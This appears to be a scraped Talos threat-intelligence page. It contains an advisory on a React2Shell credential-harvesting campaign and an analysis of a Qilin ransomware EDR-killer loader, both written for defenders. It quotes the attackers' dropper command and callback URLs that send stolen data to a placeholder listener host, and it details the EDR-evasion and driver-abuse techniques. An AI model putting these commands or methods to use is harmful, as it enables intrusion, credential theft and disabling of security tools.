Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe 
Detection Name: W32.Injector:Gen.21ie.1201 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507.exe 
Detection Name: Win.Worm.Coinminer::1201 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
Example Filename: APQ9305.dll 
Detection Name: Auto.90B145.282358.in02 

SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
MD5: 41444d7018601b599beac0c60ed1bf83 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
Example Filename: content.js 
Detection Name: W32.38D053135D-95.SBX.TG 

SHA256: 5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe 
MD5: a2cf85d22a54e26794cbc7be16840bb1 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe 
Example Filename: a2cf85d22a54e26794cbc7be16840bb1.exe 
Detection Name: W32.5E6060DF7E-100.SBX.TG 

SHA256: e303ac1a9b378382830fc6a0b5a9574eca415d14d9282e2b4aced725db9cfbc5 
MD5: 48a4f5fb6dc4633a41e6fe0aa65b4fa6 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=e303ac1a9b378382830fc6a0b5a9574eca415d14d9282e2b4aced725db9cfbc5 
Example Filename: 48a4f5fb6dc4633a41e6fe0aa65b4fa6.exe 
Detection Name: W32.E303AC1A9B-95.SBX.TG 

In this episode of the Talos Threat Perspective, we explore how identity is being used to gain, extend, and maintain access inside environments. 

Drawing on insights from the 2025 Talos Year in Review, we break down how attackers are: 

·       Targeting identity systems and MFA workflows 

·       Establishing persistent, high-trust access 

·       Using internal phishing to move laterally 

·       Could potentially exploit over-permissioned AI agents and identity-linked access 

·       Blending into normal user behaviour 

This episode focuses on how identity enables attackers to scale their operations, and what that means for defenders trying to detect and contain them. 

Read the 2025 Cisco Talos Year in Review

Download now

Talos is disclosing a large-scale automated credential harvesting campaign carried out by a threat cluster we currently track as UAT-10608. The campaign is primarily leveraging a collection framework dubbed “NEXUS Listener.” The systematic exploitation and exfiltration campaign has resulted in the compromise of at least 766 hosts, as of time of writing, across multiple geographic regions and cloud providers. The operation is targeting Next.js applications vulnerable to React2Shell (CVE-2025-55182) to gain initial access, then is deploying a multi-phase credential harvesting tool that harvests credentials, SSH keys, cloud tokens, and environment secrets at scale. 

The breadth of the victim set and the indiscriminate targeting pattern is consistent with automated scanning — likely based on host profile data from services like Shodan, Censys, or custom scanners to enumerate publicly reachable Next.js deployments and probe them for the described React configuration vulnerabilities. 

The core component of the framework is a web application that makes all of the exfiltrated data available to the operator in a graphical interface that includes in-depth statistics and search capabilities to allow them to sift through the compromised data. 

This post details the campaign's methodology, tools, breadth and sensitivity of the exposed data, and the implications for organizations impacted by this activity. 

This analysis is based on data collected for security research purposes. Specific credentials and victim identifiers have been withheld from this publication. Talos has informed service providers of exposed and at-risk credentials and is working with industry partners such as GitHub and AWS to quarantine credentials and inform victims. 

Initial access 

UAT-10608 targets public-facing web applications using components, predominately Next.js, that are vulnerable to CVE-2025-55182, broadly referred to as “React2Shell.” 

React2Shell is a pre-authentication remote code execution (RCE) vulnerability in React Server Components (RSC). RSCs expose Server Function endpoints that accept serialized data from clients. The affected code deserializes payloads from inbound HTTP requests to these endpoints without adequate validation or sanitization. 

Exploitation steps 

1. An attacker identifies a publicly accessible application using a vulnerable version of RSCs or a framework built on top of it (e.g., Next.js). 
2. The attacker crafts a malicious serialized payload designed to abuse the deserialization routine — a technique commonly used to trigger arbitrary object instantiation or method invocation on the server. 
3. The payload is sent via an HTTP request directly to a Server Function endpoint. No authentication is required. 
4. The server deserializes the malicious payload, resulting in arbitrary code execution in the server-side Node.js process. 

Once the threat actor identifies a vulnerable endpoint, the automated toolkit takes over. No further manual interaction is required to extract and exfiltrate credentials harvested from the system. 

Automated harvesting script 

Data is collected via nohup-executed shell scripts dropped in /tmp with randomized names:

/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1

This is consistent with a staged payload delivery model. The initial React exploit delivers a small dropper that fetches and runs the full multi-phase harvesting script. Upon execution, the harvesting script iterates through several phases to collect various data from the compromised system, outlined below: 

• environ - Dump running process environment variables  
• jsenv - Extract JSON-parsed environment from JS runtime  
• ssh - Harvest SSH private keys and authorized_keys  
• tokens - Pattern-match and extract credential strings  
• history - Capture shell command history  
• cloud_meta - Query cloud metadata APIs (AWS/GCP/Azure)  
• k8s - Extract Kubernetes service account tokens  
• docker - Enumerate container configurations  
• cmdline - List all running process command lines  
• proc_all - Aggregate all process environment variables 

The framework leverages a meta.json file that tracks execution state: 

 Following the completion of each collection phase, an HTTP request is made back to the C2 server running the NEXUS Listener component. In most cases, the callback takes place on port 8080 and contains the following parameters: 

• Hostname 
• Phase 
• ID 

Some examples of the full URL, executed after each phase: 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id= 123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=jsenv&id= 123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=k8s&id=123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=crontab&id=123abc45 

NEXUS Listener 

After data is exfiltrated from a compromised system and sent back to the C2 infrastructure, it is stored in a database and made available via a web application called NEXUS Listener. In most instances, the web application front end is protected with a password, the prompt for which can be seen in Figure 1. 

 In at least one instance, the web application was left exposed, revealing a wealth of information, including the inner workings of the application itself, as well as the data that was harvested from compromised systems. 

The application contains a listing of several statistics, including the number of hosts compromised and the total number of each credential type that were successfully extracted from those hosts. It also lists the uptime of the application itself. In this case, the automated exploitation and harvesting framework was able to successfully compromise 766 hosts within a 24-hour period. 

The web application allows a user to browse through all of the compromised hosts. A given host can then be selected, bringing up a menu with all of the exfiltrated data corresponding to each phase of the harvesting script. 

The observed NEXUS Listener instances display “v3” in the title, indicating the application has gone through various stages of development before reaching the currently deployed version.

Analysis 

Cisco Talos was able to obtain data from an unauthenticated NEXUS Listener instance. The following is an analysis of that data, broken down by credential category. 

Credential Categories 

Environment secrets and API keys 

The “environ.txt” and “jsenv.txt” files contain the runtime environment of each compromised application process, exposing a variety of third-party API credentials: 

• AI platform keys: OpenAI, Anthropic, NVIDIA NIM, OpenRouter, Tavily 
• Payment processors: Stripe live secret keys (sk_live_*) 
• Cloud providers: AWS access key/secret pairs, Azure subscription credentials 
• Communication platforms: SendGrid, Brevo/Sendinblue transactional email API keys, Telegram bot tokens and webhook secrets 
• Source control: GitHub personal access tokens, GitLab tokens 
• Database connection strings: Full DATABASE_URL values including hostnames, ports, usernames, and cleartext passwords 
• Custom application secrets: Auth tokens, dashboard passwords, webhook signing secrets — often high-entropy hex or Base64 strings 

SSH private keys 

Present in 78% of hosts, the “ssh.txt” files contain complete PEM-encoded private keys (both ED25519 and RSA formats) along with authorized_keys entries. These keys enable lateral movement to any other system that trusts the compromised host's key identity — a particularly severe finding for organizations with shared key infrastructure or bastion-host architectures. 

Cloud credential harvesting 

The “aws_full.txt” and “cloud_meta.txt” phases attempt to query the AWS Instance Metadata Service (IMDS), GCP metadata server, and Azure IMDS. For cloud-hosted targets, successful retrieval yields IAM role-associated temporary credentials — credentials that carry whatever permissions were granted to the instance role, which in misconfigured environments can include S3 bucket access, EC2 control plane operations, or secrets manager read access. 

Kubernetes service account tokens 

The “k8s.txt” phase targets containerized workloads, attempting to read the default service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. A compromised Kubernetes token can allow an attacker to enumerate cluster resources, read secrets from other namespaces, or escalate to cluster-admin depending on RBAC configuration. 

Docker container intelligence 

For hosts running Docker (approximately 6% of the dataset), the “docker.txt” phase enumerates all running containers, their images, exposed ports, network configurations, mount points, and environment variables. Notable services observed include phpMyAdmin instances, n8n workflow automation, and internal administrative dashboards — all of which are high-value targets for follow-on access. 

Shell command history 

Command history files reveal operator behavior on compromised systems and other information that could be useful for post-compromise activity. Observed patterns include: 

• MySQL client invocations with explicit credentials: mysql -u root -p 
• Database service management: /etc/init.d/mysqld restart

Implications 

• Credential compromise and account takeover: Every credential in this dataset should be considered fully compromised. Live Stripe secret keys enable fraudulent charges and refund manipulation. AWS keys with broad IAM permissions enable cloud infrastructure takeover, data exfiltration from S3, and lateral movement within AWS organizations. Database connection strings with cleartext passwords provide direct access to application data stores containing user personally identifiable information (PII), financial records, or proprietary data. 
• Lateral movement via SSH: The large corpus of exposed SSH private keys creates a persistent lateral movement risk that survives the rotation of application credentials. If any of these keys are reused across systems (a common operational practice), the attacker retains access to those systems even after the initial compromise is detected and remediated. 
• Supply chain risk: Several hosts show evidence of package registry authentication files (“pkgauth.txt”), including npm and pip configuration with registry credentials. Compromised package registry tokens could enable a supply chain attack — publishing malicious versions of packages under a legitimate maintainer's identity. 
• Data aggregation and intelligence value: Beyond the immediate operational value of individual credentials, the aggregate dataset represents a detailed map of the victim organizations' infrastructure: what services they run, how they're configured, what cloud providers they use, and what third-party integrations are in place. This intelligence has significant value for crafting targeted follow-on attacks, social engineering campaigns, or selling access to other threat actors. 
• Reputational and regulatory exposure: For any organization whose data appears in this set, there are serious compliance implications. Database credentials exposing PII trigger breach notification requirements under GDPR, CCPA, and sector-specific regulations. Organizations that process payments whose Stripe keys are exposed face PCI DSS incident response obligations. The exposure of AI platform API keys can result in significant unauthorized usage charges in addition to the security risk. 

Recommendations 

1. Audit getServerSideProps and getStaticProps implementations: Ensure no secrets or server-only environment variables are passed as props to client components. 
2. Enforce NEXT_PUBLIC_ prefix discipline: Only variables that are intentionally public should carry this prefix. Audit all variables for misclassification. 
3. Rotate all credentials immediately if any overlap with the described victim profile is suspected. 
4. Implement IMDSv2 enforcement on all AWS EC2 instances to require session-oriented metadata queries, blocking unauthenticated metadata service abuse. 
5. Segment SSH keys: Avoid reusing SSH key pairs across different systems or environments. 
6. Enable cloud provider secret scanning: AWS, GitHub, and others offer native secret scanning that can detect and alert on committed or exposed credentials. 
7. Deploy runtime application self-protection (RASP) or a WAF rule set tuned for Next.js-specific attack patterns, particularly those targeting SSR data injection points. 
8. Audit container environments for least-privilege. Application containers should not have access to the host SSH agent, host filesystem mounts containing sensitive data, or overly permissive IAM instance roles. 

Coverage 

SNORT® ID for CVE-2025-55182, aka React2Shell: 65554 

Indicators of compromise (IOCs) 

Organizations should investigate for the following artifacts on web application hosts: 

• Unexpected processes spawned from /tmp/ with randomized dot-prefixed names (e.g., /tmp/.e40e7da0c.sh) 
• nohup invocations in process listings not associated with known application workflows 
• Unusual outbound HTTP/S connections from application containers to non-production endpoints 
• Evidence of __NEXT_DATA__ containing server-side secrets in rendered HTML 

IOCs for this threat also available on our GitHub repository here.

144[.]172[.]102[.]88  
172[.]86[.]127[.]128  
144[.]172[.]112[.]136  
144[.]172[.]117[.]112

This blog post provides an in-depth technical analysis of the malicious dynamic-link library (DLL) “msimg32.dll”, which Cisco Talos observed being deployed in Qilin ransomware attacks. The broader activities and attacks of Qilin was previously introduced and described in the blog post here.

This DLL represents the initial stage of a sophisticated, multi-stage infection chain designed to disable local endpoint detection and response (EDR) solutions present on compromised systems. Figure 1 shows a high-level diagram demonstrating the overall execution flow of this infection chain.

The first stage consists of a PE loader responsible for preparing the execution environment for the EDR killer component. This secondary payload is embedded within the loader in an encrypted form.

The loader implements advanced EDR evasion techniques. It neutralizes user-mode hooks and suppresses Event Tracing for Windows (ETW) event generation at runtime by leveraging a -like approach. Additionally, it makes extensive use of structured exception handling (SEH) and vectored exception handling (VEH) to obscure control flow and conceal API invocation patterns. This enables the EDR killer payload to be decrypted, loaded, and executed entirely in memory without triggering detection by the locally installed EDR solution.

Once active, the EDR killer component loads two helper drivers. The first driver (“rwdrv.sys”) provides access to the system’s physical memory, while the second driver (“hlpdrv.sys”) is used to terminate EDR processes. Prior to loading the second driver, the EDR killer component unregisters monitoring callbacks established by the EDR, ensuring that process termination can proceed without interference.

Overall, the malware is capable of disabling over 300 different EDR drivers across a wide range of vendors. While the campaign has been previously reported by , , and others at a higher level, this analysis focuses on previously undocumented technical details of the infection chain (e.g., the SEH/VEH tricks and the overwriting of certain kernel objects).

PE loader section (“msimg32.dll”)

The malicious DLL is most likely side-loaded by a legitimate application that imports functions from “msimg32.dll”. To preserve expected functionality, the original API calls are forwarded to the legitimate library located in “C:\Windows\System32”.

The version of “msimg32.dll” deployed by the threat actor triggers its malicious logic from within its DllMain function. As a result, the payload is executed as soon as the legitimate application loads the DLL.

Sophos also gave some technical and historical insights into this loader in their earlier blog, in which it is referred to as Shanya.

Initialization phase

During initialization, the loader allocates a heap buffer in process memory that acts as a slot-policy table.

The size of this buffer is computed as "ntdll.dll" OptionalHeader.SizeOfCode divided by 16 ( SizeOfCode >> 4), resulting in one byte per 16-byte code slot covering the code region as defined by OptionalHeader.SizeOfCode (typically the .text range). Each entry in the table corresponds to a fixed 16-byte block relative to BaseOfCode.

The loader then iterates over the export table of “ntdll.dll”. For each exported function whose name begins with "Nt", the virtual address of the corresponding syscall stub is resolved. From this address, a slot index is calculated as: slot_idx = (FuncVA - BaseOfCode)/16

This index is used to mark the corresponding entry in the slot-policy table. All Nt* stubs are assigned a default policy, while selected functions are explicitly marked with special policies, including:

• NtTraceEvent
• NtTraceControl
• NtAlpcSendWaitReceivePort

The result is a data-driven classification of relevant syscall stubs without modifying the executable code of “ntdll.dll”. The resulting slot-policy-table appears as follows:

The actual loader function is significantly more complex and incorporates additional obfuscation techniques, such as hash-based API resolution at runtime.

After constructing the table, the sample dynamically resolves ntdll!LdrProtectMrdata, which will be discussed in greater detail later. It then invokes this routine to change the protection of the .mrdata section to writable. This section contains the exception dispatcher callback pointer along with other critical runtime data.

Once the section is writable, the loader overwrites the dispatcher slot with its own custom exception handler. As a result, its routine is executed whenever an exception is triggered.

Runtime exception handling

This function primarily performs two tasks: handling breakpoint exceptions and single-step exceptions.

The handling of breakpoint exceptions (0xCC) is relatively straightforward. It simply resumes execution at the instruction immediately following the INT3 (0xCC). Talos is not certain why this approach was implemented. It may function as a lightweight anti-emulation, anti-analysis, or anti-sandbox mechanism for weak analysis systems, serve as groundwork for more advanced anti-debugging techniques, or act as preparation for future control-flow manipulation similar to the VEH-based logic observed in Stages 2 and 3.

The single-step portion of the function is significantly more complex and is where the previously introduced slot-policy table is utilized. ctx->ntstub_class_map points to the map buffer allocated during initialization.

Simplified the logic of the initialization and dispatch function looks like this in pseudo code. InitCtxAndPatchNtdllMrdataDispatch is the initialization function and hook_function_ExceptionCallback is the dispatch function mentioned above.

The find_syscall routine shown in Figure 7 implements a syscall recovery technique. Details can be found in the picture below. It scans both backward and forward through “ntdll.dll” to locate intact syscall stubs and identify neighboring syscalls that can be repurposed.

The simplified logic is as follows:

• Indirectly determine the target syscall number by scanning forward and backward.
• Locate a clean neighbouring stub.
• Manually load the correct syscall ID into eax.
• Transition directly to kernel mode using the syscall instruction (i.e., a syscall instruction located inside a clean neighboring stub).

By reusing a neighboring syscall stub to invoke the desired system call, the loader bypasses EDR-hooked syscalls without modifying the hooked code itself. The Windows kernel only evaluates the syscall ID in eax; it does not verify which exported API function initiated the call.

As previously mentioned, the actual code of the malware is more complex (e.g., the aforementioned runtime resolution of ntdll!LdrProtectMrdata).

The loader resolves the ntdll!LdrProtectMrdata function in a stealthy way. Instead of resolving LdrProtectMrdata by name or hash, the loader instead:

• Finds the .mrdata section in the “ntdll.dll” image
• Checks whether the current dispatcher slot pointer (dispatch_slot) lies inside .mrdata
• If it does, it uses a known exported ntdll function (RtlDeleteFunctionTable, located via hash) as an anchor
• From that anchor, it scans for a CALL rel32 instruction (0xE8) and extracts its target address
• That call target is the address of LdrProtectMrdata and stored in ctx->LdrProtectMrdata

The initialization routine described earlier also incorporates several basic anti-debugging measures. For example, it verifies whether a breakpoint has been placed on KiUserExceptionDispatcher. If such a breakpoint is detected, the process is deliberately crashed. This check is performed before the dispatcher is overwritten, which means that the resulting exception is handled by the original, default exception handler.

The loader also implements geo-fencing. It excludes systems configured for languages commonly used in post-Soviet countries. This check is performed at an early stage, and the loader terminates if a locale from the exclusion list is detected.

After initializing Stage 1, the loader proceeds to unpack the subsequent stages. It creates a paging file-backed section and maps two views of this section into the process address space. This aspect was not analyzed in depth; however, creating two views of the same section is a common malware technique used to obscure a READ-WRITE-EXECUTABLE memory region. Typically, one view is configured with WRITE access only, masking the effective executable permissions of the underlying section. This shared memory region will contain subsequent malware stages after unpacking them. This also makes it more difficult to dump the memory during analysis. When a virtual memory page is not currently present in RAM (present bit cleared), accessing it triggers a page fault. The kernel then resolves the fault (e.g., by loading the page from the pagefile into physical memory).

After creating the views, it copies and decodes bytes into this buffer. The basic block highlighted in green marks the start of this routine, while the red basic block represents the final control transfer (see Figure 17) to the decoded payload. The yellow basic block contains the decision logic that determines when execution transitions to the red basic block.

Inside the red basic block, we have the final jump into the decoded bytes of Stage 2.

Stage 2

Stage 2 (0x2470000) serves solely as a stealthy transition mechanism to transfer execution to Stage 3. As expected, all addresses referenced from this point onward, such as 0x2470000, may vary between executions of the loader, as they are dynamically allocated at runtime.

The initial part of Stage 2 is straightforward: It decodes the data stored in the memory section and then unmaps the previously mapped view. The subsequent function call constitutes the critical step: ctx->FuncPtrHookIAT((ULONGLONG)ctx->hooking_func);

This IAT-hooking routine overwrites the ExitProcess entry in the Import Address Table (IAT) of the main process (i.e., the process that loaded the malicious “msimg32.dll”).

As shown in Figure 18, execution returns normally from Stage 2, and DllMain completes without any obvious anomalies. The malicious logic is triggered later, when ExitProcess is invoked by exit_or_terminate_process during process termination. Instead of terminating the process, execution is redirected to function 0x2471000, which corresponds to Stage 3.

Stage 3

Stage 3 primarily decompresses and loads a PE image from memory that was originally embedded within the malicious “msimg32.dll”. It begins by resolving syscall stubs, which are used in subsequent code sections followed by decoding routines.

After several decoding and preparation steps, the PE image is decompressed from memory.

After the PE image has been decompressed, the final routine responsible for preparing, loading, and ultimately executing the PE can be found at 0x24A2CE7 in this run.

The fix_and_load_PE_set_VEH function begins by mapping “shell32.dll” into the process address space using NtCreateFile, NtCreateSection, and MapViewOfFile. It then overwrites the in-memory contents of “shell32.dll” with the previously loaded PE image.

After copying the embedded and decoded PE image into memory, the code manually applies base relocations.

After preparing the PE for in-memory execution, the loader employs a technique similar to Stage 2, but this time leveraging a vectored exception handler (VEH). After registering the VEH, it triggers the handler by setting a hardware breakpoint on ntdll!NtOpenSection. To indirectly invoke NtOpenSection, the loader subsequently loads a fake DLL via a call to the LdrLoadDll API. It appears that the malware author intentionally chose a name referencing a well-known security researcher, likely as a provocative touch.

After several intermediate steps, this results in a call to NtOpenSection, which triggers the previously configured hardware breakpoint and, in turn, invokes the VEH. The first time the VEH is triggered at NtOpenSection, it executes the code in Figure 29.

It modifies the “shell32.dll” name in memory to “hasherezade_[redacted].dll”, then adjusts RIP in the context record to point to the next ret instruction (0xC3) within the NtOpenSection stub and sets a new hardware breakpoint on NtMapViewOfSection. In addition, it updates the stack pointer to reference LdrpMinimalMapModule+offset, where the offset corresponds to an instruction immediately following a call to NtOpenSection inside LdrpMinimalMapModule. It then invokes NtContinue, which resumes execution at the RIP value stored in the context record (i.e., at the ret instruction). That ret instruction subsequently transfers control to the address prepared on the stack, namely LdrpMinimalMapModule+offset.

cr_1->rsp = LdrpMinimalMapModule+offset
cr_1->rip = ntdll!NtOpenSection+0x14 = ret ; jumps to <rsp> when executed

During execution of LdrpMinimalMapModule, a call to NtMapViewOfSection is made, which triggers the hardware breakpoint set by the previous routine. On this occasion, the VEH executes the code in Figure 31.

It deletes all HW breakpoints and then sets the stackpointer to an address which points to an address in LdrMinimalMapModule+offset. As expected, this is right after a call to NtMapViewOfSection. In other words, the registers in the context are overwritten like this:

ctx->rsp -> ntdll!LdrpMinimalMapModule+0x23b
ctx->rip -> ntdll!NtMapViewOfSection+0x14 = ret

When the return (ret) instruction is reached, it jumps to the address stored in the stack pointer (rsp).

The subsequent code in LdrpMinimalMapModule maps the previously restored PE image into the process address space and prepares it for execution. Finally, control returns to 0x24A3C1E, the instruction immediately following the call that originally triggered the first hardware breakpoint.

After several additional fix-up steps, the loader transfers execution to Stage 4 (i.e., the loaded PE image).

This PE file is an EDR killer capable of disabling over 300 different EDR drivers across a wide range of solutions. A detailed analysis of this component will be provided in the next section.

PE loader summary

The first three stages of this binary implement a sophisticated and complex PE loader capable of bypassing common EDR solutions by evading user-mode hooks through carefully crafted SEH and VEH techniques. While these methods are not entirely novel, they remain effective and should be detectable by properly implemented EDR solutions.

The loader decrypts and executes an embedded PE payload in memory. In this campaign, the payload is an EDR killer capable of disabling over 300 different EDR products. This component will be analyzed in detail in the next section.

EDR killer

Stage 4: Extracted EDR killer PE file

Besides initialization, the first thing the extracted PE from Stage 3 does is check again if the system locale matches a list of post-Soviet countries and, if it does, it crashes. This is another indicator that former stages are just a custom PE loader, which could be used to load any PE the adversaries want. Otherwise, doing the same check again is not logical.

The malware then attempts to elevate its privileges and load a helper driver. This also implies that the process must be executed with administrative privileges.

The “rwdrv.sys” driver is a renamed version of “ThrottleStop.sys”, originally distributed by TechPowerUp LLC and signed with a valid digital certificate. It is legitimately used by tools such as GPU-Z and ThrottleStop. This is not the first observed abuse of this ; it has previously been leveraged in several malware campaigns.

Despite its benign origin, the driver exposes highly powerful functionality and can be loaded by arbitrary user-mode applications. Critically, it implements these capabilities without enforcing meaningful security checks, making it particularly attractive for abuse.

This driver exposes a low-level hardware access interface to user mode via input/output controls (IOCTLs). It allows a user-mode application to directly interact with system hardware.

The driver implements IOCTL handlers that provide the following capabilities:

• I/O port access
  • Read from hardware ports (inb/inw/ind)
  • Write to hardware ports (outb/outw/outd)
• CPU Model Specific Register (MSR) access
  • Read MSRs (__readmsr)
  • Write MSRs (__writemsr) with limited protection against modifying critical syscall/sysenter registers
• Physical memory/MMIO access
  • Map arbitrary physical memory into kernel space using MmMapIoSpace
  • Create a user-mode mapping of the same memory using MmMapLockedPagesSpecifyCache
  • Maintain up to 256 active mappings per driver instance
  • Provide an IOCTL to release/unmap those mappings
• Direct physical memory access
  • Read physical memory values
  • Write physical memory values
• PCI configuration space access
  • Read PCI configuration registers (HalGetBusDataByOffset)
  • Write PCI configuration registers (HalSetBusDataByOffset)

Additionally, the driver tracks the number of open handles and associates memory mappings with the calling process ID.

Overall, the driver functions as a generic kernel-mode hardware access layer, exposing primitives for port I/O, MSR access, physical memory mapping, and PCI configuration operations. Such functionality is typically used by hardware diagnostic tools, firmware utilities, or low-level system utilities, but it also provides powerful primitives that could be abused if accessible from unprivileged user-mode.

The two important functions heavily used by the sample are the ability to read and write physical memory.

After loading the driver, the malware proceeds to determine the Windows version. To do so, it first resolves the required API function using a PEB-based lookup routine, a technique consistently employed throughout the sample.

The implementation parses the Process Environment Block (PEB) and locates the target module by finding the hash of its name. Then the ResolveExportByHash function takes the module base from the previously found DLL and parses its PE header to find the function that corresponds to the function hash. It can either provide the API function address as an PE offset or as a virtual address.

After a couple of initializations and checks, it gets the “rwdrv.sys” handle, followed by the EDR-related part of the sample — the kernel tricks which are responsible for avoiding, blinding, and disabling the EDR.

However, let’s have a brief look into the details. It starts with building a vector of physical memory pages. This vector will later be used in subsequent methods.

The SetMemLayoutPointer function in the if statement above leverages the NtQuerySystemInformation API function to gather the Superfetch information about the physical memory pages. It stores a pointer to this information in global variables (mem_layout_v1_ptr or mem_layout_v2_ptr). Which one is used depends on the version variable which is the argument handed over to the function. In our case, 1 is for calling the function the first time and 2 is for the second time. In other words, it brute-forces whichever version works for the Windows system it is running on.

The BuildSuperfetchPfnMetadataList function is quite large and complex. Simplified, it starts by using the mem_layout pointer to calculate the total page count.

It then ends by using NtQuerySystemInformation again to get the physical pages and their meta data to store this information in a global vector (g_PfnVector).

Back to the block from the above, the next step blinds the EDRs by deleting their callbacks for certain operations (e.g., process creation, thread creation, and image loading events).

The unregister_callbacks function iterates through a list of over 300 driver names which are stored in the sample.

It also demonstrates the overall implementation of the malware, which is also used in several other functions. It uses a certain API function to calculate an offset to the function or object it is really using — in this case, the kernel callback cng!CngCreateProcessNotifyRoutine. It also does not touch this object in the process virtual address space. It uses the driver loaded earlier (“rwdrv.sys”) to get the physical memory address of it. The logic and driver communication is implemented in the read_phy_bytes function, and the same for overwriting memory; the write_to_phy_mem function is used to handle the driver communications. The DeviceIoControlImplementation function which talks to the driver is implemented in write_to_phy_mem.

The other callback-related functions shown in Figure 44 work similarly to the one we discussed. They overwrite or unregister other EDR-specific callbacks, which were set by the EDR Mini-Filter driver.

The final part of the EDR killer begins by loading another driver (“hlpdrv.sys”).

The malware uses the driver to terminate EDR processes running on the system using the IOCTL code 0x2222008. This executes the function in the driver which is responsible for unprotecting and terminating the process.

Once terminated, EDR processes such as Windows Defender no longer run, as demonstrated in Figure 56.

Additionally, it restores the CiValidateImageHeader callback. The RestoreCiValidateImageHeaderCallback function is shown in Figure 57.

This is accomplished using the same concept we previously saw in Figure 52:

• Resolve a known API function.
• Use this function as an anchor point to locate a specific instruction within its code.
• This instruction contains a pointer in one of its operands that points to, or near, the object of interest.
• Identify the pointer to the target object within that instruction.
• Perform a sign extension on the operand.
• Add an additional offset to compute the final address of the object being sought — in this case, the CiValidateImageHeader callback.
• Restore the original function pointer to CiValidateImageHeader.

Note that the malware had previously overwritten the callback to CiValidateImageHeader with the address of ArbPreprocessEntry, a function that always returns true. In other words, it has now restored the original Code Integrity check.

Summary

This blog was a technical deep dive into the infection chain that is hidden in the malicious “msimg32.dll”, which has been observed during Qilin ransomware attacks. It demonstrates the sophisticated tricks the malware is employing to circumvent or completely disable modern EDR protection features on compromised systems.

It is encouraging to see how many hurdles modern malware must overcome. At the same time, this highlights that even state-of-the-art defense mechanisms can still be bypassed by determined adversaries. Defenders should never rely on a single product for protection; instead, Talos strongly recommends a multi-layered security approach. This significantly increases the difficulty for attackers to remain undetected, even if they manage to evade one line of defense.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Malware.Bumblebee-10056548-0
• Win.Tool.EdrKiller-10059833-0
• Win.Tool.ThrottleStop-10059849-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Covering Snort2 SID(s): 1:66181, 1:66180
• Covering Snort3 SID(s): 1:301456

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

msimg32.dll
MD5: 89ee7235906f7d12737679860264feaf
SHA1: 01d00d3dd8bc8fd92dae9e04d0f076cb3158dc9c
SHA256: 7787da25451f5538766240f4a8a2846d0a589c59391e15f188aa077e8b888497

rwdrv.sys
MD5: 6bc8e3505d9f51368ddf323acb6abc49
SHA1: 82ed942a52cdcf120a8919730e00ba37619661a3
SHA256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0

hlpdrv.sys
cf7cad39407d8cd93135be42b6bd258f
ce1b9909cef820e5281618a7a0099a27a70643dc
bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56

EDRKiller.exe (non-fixed memory dump with overlay)
MD5: 1305e8b0f9c459d5ed85e7e474fbebb1
SHA1: 84e2d2084fe08262c2c378a377963a1482b35ac5
SHA256: 12fcde06ddadf1b48a61b12596e6286316fd33e850687fe4153dfd9383f0a4a0
Time stamp: 0x684d33f0 (14. June 2025, 08:33:52 UTC)
ImpHash : 05aa031a007e2f51e3f48ae2ed1e1fcb
TLSH: T1B4647C01B7E50CF9EE77C638C9614A06EA72BC425761DADF43A04A964F237D09E3DB12